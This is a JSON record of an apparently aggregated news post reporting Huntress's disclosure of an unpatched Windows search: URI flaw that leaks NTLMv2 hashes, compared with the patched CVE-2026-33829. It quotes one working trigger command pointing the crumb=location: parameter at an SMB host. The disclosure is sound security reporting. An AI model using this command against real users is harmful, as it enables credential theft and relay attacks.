{"id":262894,"date":"2026-06-03T06:18:00","date_gmt":"2026-06-03T10:18:00","guid":{"rendered":"https:\/\/news-you-need.com\/index.php\/2026\/06\/03\/unpatched-windows-search-uri-vulnerability-lets-attackers-steal-ntlmv2-hashes\/"},"modified":"2026-06-03T08:25:18","modified_gmt":"2026-06-03T12:25:18","slug":"unpatched-windows-search-uri-vulnerability-lets-attackers-steal-ntlmv2-hashes","status":"publish","type":"post","link":"https:\/\/news-you-need.com\/index.php\/2026\/06\/03\/unpatched-windows-search-uri-vulnerability-lets-attackers-steal-ntlmv2-hashes\/","title":{"rendered":"Unpatched Windows Search URI Vulnerability Lets Attackers Steal NTLMv2 Hashes"},"content":{"rendered":"

Unpatched Windows Search URI Vulnerability Lets Attackers Steal NTLMv2 Hashes<\/a><\/p>\n

https:\/\/thehackernews.com\/2026\/06\/unpatched-windows-search-uri.html<\/a><\/p>\n

Publish Date: 2026-06-03 06:18:00<\/a><\/p>\n

Source Domain: thehackernews.com<\/a><\/p>\n

\ue804Ravie Lakshmanan<\/span>\ue802Jun 03, 2026<\/span><\/span>Vulnerability \/ Network Security<\/span><\/p>\n

Cybersecurity researchers have disclosed details of an unpatched issue that could be exploited to disclose a user’s NTLMv2 hash to the attacker.<\/p>\n

Like in the case of CVE-2026-33829, which impacted the Windows Snipping Tool’s ms-screensketch: URI handler, the newly flagged issue resides in the search: URI handler, per Huntress.<\/p>\n

CVE-2026-33829 refers to a spoofing vulnerability that could expose sensitive information to an unauthorized actor. It was patched by Microsoft in April 2026.<\/p>\n

“An attacker could induce the user into clicking a specially crafted link in a Web browser or other URL source, by embedding it in a Web page or email message,” Microsoft noted in its advisory at the time.<\/p>\n

“If the user approves the launching of the link, the crafted URL can induce the computer to connect to an SMB server of the attacker’s choosing, which would disclose the user’s NTLMv2 hash to the attacker, who could use this to authenticate as the user.”<\/p>\n

Specifically, the problem had to do with the fact that the Snipping Tool’s URI handler accepted a “filePath” parameter, failed to validate it, and would reach out to any Universal Naming Convention (UNC) path passed to it. This, in turn, could trigger NTLM authentication and expose the victim’s Net-NTLMv2 hash to the attacker.<\/p>\n

The newly discovered shortcoming achieves the same end goal using “search:” and “crumb=location:” instead of “filePath” using a command like below –<\/p>\n

start “” “search:query=test&crumb=location:\\10.0.1.100share”<\/p>\n

“It used the same NTLM leakage mechanism, produced the same Net-NTLMv2 leak, had the same prerequisites, and carried the same Moderate rating,” Huntress researcher Andrew Schwartz said. It’s worth noting that the use of a “crumb” parameter to steal the hash (CVE-2023-35636) was documented by Varonis in February 2024.<\/p>\n

As a result, a threat actor could leverage the captured hash to conduct relay attacks and gain deeper access…<\/p>\n

Source<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"

Unpatched Windows Search URI Vulnerability Lets Attackers Steal NTLMv2 Hashes https:\/\/thehackernews.com\/2026\/06\/unpatched-windows-search-uri.html Publish Date: 2026-06-03 06:18:00…<\/p>\n","protected":false},"author":1,"featured_media":262895,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"https:\/\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEg9Y4FY1kH_mrU4oH2X7TPrnmPdf9Ib4UZ4Xgud4Qgjie69on9qP9D1OU8i3ol3THTISUTy8OBJzPXzbUTyHwx1xF8cWuYvb9r-_7r_g-gFXyW62phdyaEAd41PI5cfduXxd084XQdwhxQ40Ti5n7SvkhIbZRktqP8G9bhufjlrxzxHYWpFTAXAfSSWstwc\/s1600\/NTLM.jpg","fifu_image_alt":"","footnotes":""},"categories":[15],"tags":[24,29,34,27],"class_list":["post-262894","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybersecurity","tag-cybersecurity","tag-network-security","tag-threat-actor","tag-vulnerability"],"_links":{"self":[{"href":"https:\/\/news-you-need.com\/index.php\/wp-json\/wp\/v2\/posts\/262894"}],"collection":[{"href":"https:\/\/news-you-need.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/news-you-need.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/news-you-need.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/news-you-need.com\/index.php\/wp-json\/wp\/v2\/comments?post=262894"}],"version-history":[{"count":1,"href":"https:\/\/news-you-need.com\/index.php\/wp-json\/wp\/v2\/posts\/262894\/revisions"}],"predecessor-version":[{"id":262896,"href":"https:\/\/news-you-need.com\/index.php\/wp-json\/wp\/v2\/posts\/262894\/revisions\/262896"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/news-you-need.com\/index.php\/wp-json\/wp\/v2\/media\/262895"}],"wp:attachment":[{"href":"https:\/\/news-you-need.com\/index.php\/wp-json\/wp\/v2\/media?parent=262894"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/news-you-need.com\/index.php\/wp-json\/wp\/v2\/categories?post=262894"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/news-you-need.com\/index.php\/wp-json\/wp\/v2\/tags?post=262894"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}